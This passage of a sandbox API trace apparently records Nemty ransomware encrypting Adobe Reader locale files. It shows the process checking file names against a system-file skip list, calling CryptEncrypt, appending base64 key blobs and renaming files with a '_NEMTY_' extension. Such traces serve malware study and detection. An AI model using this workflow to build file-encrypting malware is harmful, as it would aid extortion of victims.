lpMultiByteStr="Search.FRA", lpUsedDefaultChar=0x0) returned 10 [0177.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0177.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0177.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0177.283] Sleep (dwMilliseconds=0x5) [0177.295] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d522f90, dwHighDateTime=0x1d561e8)) [0177.295] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d522f90, dwHighDateTime=0x1d561e8)) [0177.295] GetLastError () returned 0x0 [0177.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.295] GetLastError () returned 0x0 [0177.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.295] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.295] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0177.295] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0177.295] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0177.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0177.295] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="Hqu2uUJ/L2CY/ooCLiaHDZ//iT0cBm/e8vphMkErQa3+4pIlzYxi68LYIVYeSeX3\r\nAR3dmayvIOTYRtAX7HbDUad+/WBNFKQUp6dVMJBUfc6QYGrMWV0zpJctPMuiqsRP\r\nKHED133NXMRUrm1y2uC2x0QkipPOi8Sa2iw+/SWFbZ0cnwqyZKLD8u3jE3wwI25U\r\nSAhqfkENqqcIXOObf5g0v4ZG+RlkL3rGBMyulEzR00/9qJZQ4cVI5+ACmNx6Vbsj\r\n9eEmjLi0vvEfhaI4d7nPV1H2hClQlcf87++OHGuJEIUpxoJ+cTTw1Pm4Lto9JT3J\r\nSCT08cPqwFJtzeMvd8tIvA==\r\n", pcchString=0x653e5dc) returned 1 [0177.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0177.295] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.295] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0177.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0177.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0177.295] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Search.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\search.fra"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0177.296] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=25088) returned 1 [0177.296] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6200) returned 0x6352c48 [0177.296] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.296] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6200, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6200, lpOverlapped=0x0) returned 1 [0177.299] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.299] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6200, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6200, lpOverlapped=0x0) returned 1 [0177.299] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0177.299] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=25088, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6200 [0177.299] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0177.299] CloseHandle (hObject=0x2e8) returned 1 [0177.299] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0177.299] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0177.299] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.299] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0177.299] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.299] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.299] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0177.299] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0177.299] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0177.299] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.299] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Search.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\search.fra"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Search.FRA._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\search.fra._nemty_kgobjgd_")) returned 1 [0177.300] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0177.300] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0177.300] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0177.300] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.300] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0177.300] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0177.300] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.300] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0177.300] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ddf5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="SendMail.fra", cAlternateFileName="")) returned 1 [0177.300] lstrcmpiW (lpString1="SendMail.fra", lpString2=".") returned 1 [0177.300] lstrcmpiW (lpString1="SendMail.fra", lpString2="..") returned 1 [0177.300] lstrcmpiW (lpString1="SendMail.fra", lpString2="...") returned 1 [0177.300] lstrcmpiW (lpString1="SendMail.fra", lpString2="windows") returned -1 [0177.300] lstrcmpiW (lpString1="SendMail.fra", lpString2="$RECYCLE.BIN") returned 1 [0177.300] lstrcmpiW (lpString1="SendMail.fra", lpString2="rsa") returned 1 [0177.300] lstrcmpiW (lpString1="SendMail.fra", lpString2="NTDETECT.COM") returned 1 [0177.300] lstrcmpiW (lpString1="SendMail.fra", lpString2="ntldr") returned 1 [0177.300] lstrcmpiW (lpString1="SendMail.fra", lpString2="MSDOS.SYS") returned 1 [0177.300] lstrcmpiW (lpString1="SendMail.fra", lpString2="IO.SYS") returned 1 [0177.300] lstrcmpiW (lpString1="SendMail.fra", lpString2="boot.ini") returned 1 [0177.300] lstrcmpiW (lpString1="SendMail.fra", lpString2="boot.ini") returned 1 [0177.300] lstrcmpiW (lpString1="SendMail.fra", lpString2="AUTOEXEC.BAT") returned 1 [0177.301] lstrcmpiW (lpString1="SendMail.fra", lpString2="ntuser.dat") returned 1 [0177.301] lstrcmpiW (lpString1="SendMail.fra", lpString2="desktop.ini") returned 1 [0177.301] lstrcmpiW (lpString1="SendMail.fra", lpString2="CONFIG.SYS") returned 1 [0177.301] lstrcmpiW (lpString1="SendMail.fra", lpString2="RECYCLER") returned 1 [0177.301] lstrcmpiW (lpString1="SendMail.fra", lpString2="BOOTSECT.BAK") returned 1 [0177.301] lstrcmpiW (lpString1="SendMail.fra", lpString2="bootmgr") returned 1 [0177.301] lstrcmpiW (lpString1="SendMail.fra", lpString2="programdata") returned 1 [0177.301] lstrcmpiW (lpString1="SendMail.fra", lpString2="appdata") returned 1 [0177.301] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.301] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.fra", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0177.301] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.fra", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.fra", lpUsedDefaultChar=0x0) returned 12 [0177.301] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.301] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.fra", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0177.301] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.fra", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.fra", lpUsedDefaultChar=0x0) returned 12 [0177.301] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.301] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.301] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.301] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.fra", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0177.301] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.fra", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.fra", lpUsedDefaultChar=0x0) returned 12 [0177.301] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.301] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.301] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.fra", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0177.301] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.fra", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.fra", lpUsedDefaultChar=0x0) returned 12 [0177.301] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.301] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0177.301] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0177.301] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0177.301] Sleep (dwMilliseconds=0x5) [0177.307] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d5490f0, dwHighDateTime=0x1d561e8)) [0177.307] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d5490f0, dwHighDateTime=0x1d561e8)) [0177.307] GetLastError () returned 0x0 [0177.307] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.307] GetLastError () returned 0x0 [0177.307] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.308] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.308] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.308] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0177.308] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0177.308] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0177.308] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0177.308] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="WQpMaFV629TReTLigFk+doAMWyHGcJJ7OWgfQsZj5vR5NrpBEVThSPOs0jYe0i4c\r\nQ8zitd1hk5uNk50M/3gdVwpeurKb+k4OYhlk3XUbFNPj8uhsuJ02JXtDK7KSI0qe\r\nvz/eN7+4SwjKCvF1Otq3rLIp2cgcsT3rHyBIrviKb6yp8RyRTJQPSSqLgrjtvPBR\r\nkVZEI/LU2NZShMH9waK7XaFmH/4/oLB89P6vBClsk4dUrdnZP5jWU6HJqnBchlWE\r\nLFllbgoVJzuDKzFsqxvyxrJbWVeYcNnMQAKqYh0L7PZ2TCCVqmTEDcn3Kl40VQO9\r\nVk9d4TEaY0ufkrd6VS2TKQ==\r\n", pcchString=0x653e5dc) returned 1 [0177.308] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0177.308] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0177.308] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.308] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0177.308] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0177.308] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0177.308] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\SendMail.fra" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\sendmail.fra"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0177.308] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=16896) returned 1 [0177.308] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4200) returned 0x6352c48 [0177.309] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.309] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x4200, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x4200, lpOverlapped=0x0) returned 1 [0177.311] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.312] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x4200, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x4200, lpOverlapped=0x0) returned 1 [0177.312] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0177.312] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=16896, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4200 [0177.312] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0177.312] CloseHandle (hObject=0x2e8) returned 1 [0177.312] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0177.312] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0177.312] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.312] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0177.312] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.312] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.312] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0177.312] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0177.312] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0177.312] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.312] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\SendMail.fra" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\sendmail.fra"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\SendMail.fra._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\sendmail.fra._nemty_kgobjgd_")) returned 1 [0177.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0177.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0177.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0177.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0177.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0177.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0177.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.313] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Services", cAlternateFileName="")) returned 1 [0177.313] lstrcmpiW (lpString1="Services", lpString2=".") returned 1 [0177.313] lstrcmpiW (lpString1="Services", lpString2="..") returned 1 [0177.313] lstrcmpiW (lpString1="Services", lpString2="...") returned 1 [0177.313] lstrcmpiW (lpString1="Services", lpString2="windows") returned -1 [0177.313] lstrcmpiW (lpString1="Services", lpString2="$RECYCLE.BIN") returned 1 [0177.313] lstrcmpiW (lpString1="Services", lpString2="rsa") returned 1 [0177.313] lstrcmpiW (lpString1="Services", lpString2="NTDETECT.COM") returned 1 [0177.313] lstrcmpiW (lpString1="Services", lpString2="ntldr") returned 1 [0177.313] lstrcmpiW (lpString1="Services", lpString2="MSDOS.SYS") returned 1 [0177.313] lstrcmpiW (lpString1="Services", lpString2="IO.SYS") returned 1 [0177.313] lstrcmpiW (lpString1="Services", lpString2="boot.ini") returned 1 [0177.313] lstrcmpiW (lpString1="Services", lpString2="boot.ini") returned 1 [0177.313] lstrcmpiW (lpString1="Services", lpString2="AUTOEXEC.BAT") returned 1 [0177.313] lstrcmpiW (lpString1="Services", lpString2="ntuser.dat") returned 1 [0177.313] lstrcmpiW (lpString1="Services", lpString2="desktop.ini") returned 1 [0177.313] lstrcmpiW (lpString1="Services", lpString2="CONFIG.SYS") returned 1 [0177.313] lstrcmpiW (lpString1="Services", lpString2="RECYCLER") returned 1 [0177.313] lstrcmpiW (lpString1="Services", lpString2="BOOTSECT.BAK") returned 1 [0177.313] lstrcmpiW (lpString1="Services", lpString2="bootmgr") returned 1 [0177.314] lstrcmpiW (lpString1="Services", lpString2="programdata") returned 1 [0177.314] lstrcmpiW (lpString1="Services", lpString2="appdata") returned 1 [0177.314] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.314] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.314] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services", lpUsedDefaultChar=0x0) returned 8 [0177.314] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.314] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.314] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services", lpUsedDefaultChar=0x0) returned 8 [0177.314] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.314] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.314] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0177.314] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0177.314] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0177.314] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0177.314] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0177.314] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.314] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, 